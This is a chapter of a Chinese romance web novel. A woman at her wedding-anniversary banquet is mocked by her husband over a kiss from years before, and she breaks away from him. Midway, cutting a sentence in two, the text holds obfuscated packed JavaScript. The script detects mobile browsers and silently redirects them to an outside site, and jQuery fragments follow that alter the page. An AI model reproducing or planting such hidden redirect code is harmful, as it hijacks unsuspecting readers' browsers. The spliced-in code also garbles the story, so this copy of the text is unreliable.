数天前晚樱初开的黄昏、偏僻古怪的酒吧、草台班子一样的乐队四人组、酣畅淋漓的最后一首歌……
所有这一切记忆,都随着郁思弦的那句话涌入脑海,陆照霜指尖一跳,仿佛再一次被那种热度灼痛,酥麻的感觉在心口蔓延开来。
她变得好奇怪。
陆照霜蜷起手指,有种微妙的畏惧,她试图用玩笑掩盖,“这好像不是可以相互比较的情况吧?”
郁思弦追问:“为什么不可以?”
“跟别人吃饭的时候,我满脑子都想着去酒吧里拉小提琴,是不是不大礼貌?”
“那有什么关系?我好像经常这样想。”
“你吗?”陆照霜惊疑不定地抬眼。
郁思弦半靠着墙壁,姿态轻松闲适,从微垂在额头的碎发下,能看到他眼中闪烁着几分并不常见的促狭。
那让他看起来比平时鲜活很多,却因为隐秘,叫陆照霜有种发现了什么秘密的感觉。
她有些一言难尽,“你就是用这种态度,和别人谈生意的?”
“总有那么些时候吧。”
郁思弦随意地扫过宴会厅众人,“所有这些宴会、酒席、会议,加起来有点实际作用的,你觉得能有三分之一吗?就像今天到场的宾客,恐怕99%的人都不在乎,他们祝福的是你和萧烨,还是别的谁和谁。”
陆照霜心头直跳,他们穿着西装和礼服,站在宴会厅的一角,看上去和这个宴会里的每个人都一般无二,却说着这样悖逆的话。
有种说不清道不明的刺激。
可毕竟是自己的结婚纪念日,宾客们无论真心与否,到底也对她说过祝福。因此,她为这种刺激,而生出一点罪恶感。
陆照霜略微平复了一下心绪,笑着打岔过去,“但是最起码,你是来祝福我们的那1%。”
郁思弦偏头看着她,微微笑了一下,“是这样吗?”
陆照霜没放在心上,如果郁思弦都不祝福他们的话,这个世界上还有谁会真心祝福他们俩的婚姻呢?
“聊什么呢?”沈霖走了过来。
郁思弦便直起身,“今天我送你。”
“啊,”沈霖谈不上失望或者不失望,只是十分嫌弃地看了陆照霜一眼,“因为那混蛋,是吧?”
他没在今天闹出什么动静出来,陆照霜已经十分感谢,不再跟他计较这些小事。
“到了给我报个平安,帮我跟姨妈和静静代好,还有……”临近分别,她还是没忍住喋喋不休。
沈霖“啧”了声,“思弦哥,你看她,在萧烨跟前待了半天就跟被抽了一半魂似的,就这还要庆祝两周年呢。”
郁思弦肩头微耸,以示不参与他们姐弟之间的斗嘴。
陆照霜一腔待叙的感情就这么被噎住,她拍了一下沈霖的肩膀,“行了,赶紧走吧。”
“又不是见不到了,去黎城的航班也就一个小时,搞得跟生离死别似的。我走了,和那个谁待在同一个城市里,我呼吸都不畅了。”沈霖大大咧咧挥了下手,便转身离开。
郁思弦朝她点了一下头,目光稍顿两秒,也跟了上去。
剩下陆照霜站在原地,怅然片刻,折身去找萧烨。
“我求你了,别再晃了,再晃我眼都要晕了。”
前方走廊有人说话,陆照霜一抬头,就看到那位姜学妹和他们室内乐团的其他人。
“可我就是忍不住嘛,”小姑娘背着琴盒,蹦蹦跳跳的,用做梦般的口吻说:“学长,我快乐到这种程度,真的是可以的吗?”
陆照霜脚步停住,沉默着等他们离开,才继续向前。
*
酒店顶层餐厅。
睿华能源的李总身居高位,有种浸润商场多年的油滑习气,况且已过知命之年,携来的妻子却不过二十出头,当真有点老而不死是为贼的感觉了。
陆照霜得竭力忍耐,告诉自己这是萧烨重要的生意伙伴,才不至于露出冒犯的表情。
她想起郁思弦说的话,林珩他们是不是正在从各自上班的公司出发,往酒吧赶,他们的同事会知道,他们还有那么尽情宣泄的一面吗?
她指尖又不由自主地一跳。
真好,她想。
郁思弦果然是搞错了,他向她说起的那些话,非但没有让她好过,反而变得更难捱了。
“听说两位是青梅竹马一起长大的,所以你们是彼此的初恋?”
饭局吃到一半,那位年轻的夫人不再拘谨,像只好奇的雀鸟,眼巴巴看着他们。
李总笑着摇了摇头,像是笑妻子实在太过孩子气。
陆照霜表情僵硬,感觉不管回答什么,都很尴尬。
萧烨笑了笑,把这茬岔了过去,“反正在结婚前,我们俩都没有谈过恋爱,是吧,阿霜?”
那位夫人“啊”了一声,“那你们的新婚岂不是都是你们的第一次,真好啊。”
“咳咳——”陆照霜一杯茶差点没呛到气管。
“你啊。”李总讪讪一笑,李夫人则似嗔似怨地瞥了李总一眼。
陆照霜想杀人的心都有了,感情她就是这对夫妻play的一环。
萧烨忙伸手拍拍她的后背,半真半假地说:“那倒不一定呢。”
李总露出了一个心照不宣的笑容。
陆照霜脊背都僵住。
他刚说了什么?
她偏过头,去看萧烨的表情。
萧烨仍旧带着社交场上惯常的微笑,却像是一层厚厚的面具,看不出一点真正的想法。
结婚两年,就算他们聚少离多、关系算不得和睦,陆照霜也从未往别处怀疑——新婚那晚萧烨的生疏总不能是假的。
那他现在这是什么意思?
就好像咽下一只苍蝇,还要在食管里反复反刍,再也听不清他们在说什么。
过了一会儿,她借口去洗手间,先行离开。
不到要吐的程度,但还是觉得很恶心,于是打开水龙头,反复用水搓洗起自己的唇瓣,一直搓到嘴唇都有点红肿了,她才停手。
她抬头看着自己的脸,既觉得自己好笑,又在想她是不是太过小题大做。
脑子乱成一团,最后唯一能想起的,就是她出来太久了,是不是太失礼了。
整理了一下自己,她从洗手间出去,下一秒,却僵在原地。
萧烨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861645|176058||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
靠着墙壁,闲极无聊地玩着手机,听到动静,抬头,目光从上到下扫过她好几遍,最后停在她唇上,嗤笑了一声:“感情是这么折腾自己呢。”
陆照霜死死咬住齿关,因为不确定自己一开口,会不会说出什么不该说的话来。
萧烨随手把手机揣回兜里,抬脚走到她面前,低下头俯视着她,语气戏谑,“这就膈应上了?”
陆照霜别开眼,想绕过他,却被他牢牢捉住胳膊。
“陆照霜,”萧烨连名带姓叫她,慢悠悠说:“你自己十八岁做了什么,自己不记得?”
她瞳孔蓦然放大,一瞬间,仿佛被带回了八年前的那个夏天。
因为她不出国了,萧烨跟她冷战了好几个月,直到他临行那天,陆照霜再也忍不住,跑去了萧烨家里。
萧烨躺在他房间的沙发上,身上盖着一本书,安静地睡着了。
也许是因为他们从来没有分开过那么久,也许是因为那天落在他鼻尖的晨光格外清亮。
她仿佛被什么蛊惑,悄悄低头,轻轻吻在了他的唇角。
好几秒后,她才意识到自己干了什么荒唐事,慌张地逃了出去。
那天之后,她的初吻和初恋一起飞抵了大洋彼岸。
陆照霜恪守着这个秘密,不曾跟任何人说起过这件事。
可原来,萧烨从一开始就知道的。
难怪他当初可以笃定,她喜欢他,因为他一直握着那天的回忆,就像握着一个把柄,用来在这种时刻捉弄她。
原来是这样啊。
“怎么哭了?”萧烨的声音突然有点不稳,双手捧起她的脸。
她哭了吗?
陆照霜视线模糊,她一直都很讨厌在别人面前哭出来,但现在却再也没有力气去在意这件事情。
“萧烨,那天对你来说算什么?很恶心吗?也对……被朋友强吻了,应该会很恶心吧,我早该跟你道歉的。”
萧烨头皮发麻,这下觉得,他可能有点玩大了,忙说:“阿霜,我没那么想,这只是个玩笑。”
“玩笑啊。”陆照霜眼神空洞,一字字重复道。
那天从萧烨家里逃走,她感觉自己浑身都在发烫,心跳快到简直要撞出胸腔,她好慌、好怕,感觉自己罪大恶极,却也同时抚着唇角,好像被一种难以言喻的酸涩甜蜜击倒了。
但这一切,对他来说只是一个玩笑。
“阿霜,”萧烨感觉十分棘手,只能尽量保持镇定,去拉她的手,“等我们晚上回家再谈,现在先回去。”
陆照霜挣开他的手,向后退了一步。
萧烨一怔。
“我没法再配合你了,萧烨。”她看着他,一字字说完,然后拎着裙摆,转身奔向电梯。
这个时间,沈霖应该已经下了飞机,迫不及待回去见闻静;姜学妹看起来兴奋得有些过头,说不定等不及回学校,就在路上找了个地方开始即兴演奏;那个叫逃出人间的乐队,应该已经聚在了后台为演出做准备。
今天樱花在最后一次盛大开放,世上每多欢愉。
她终于无法再欺骗自己。
那个可以真心欢愉的世界,她也想去。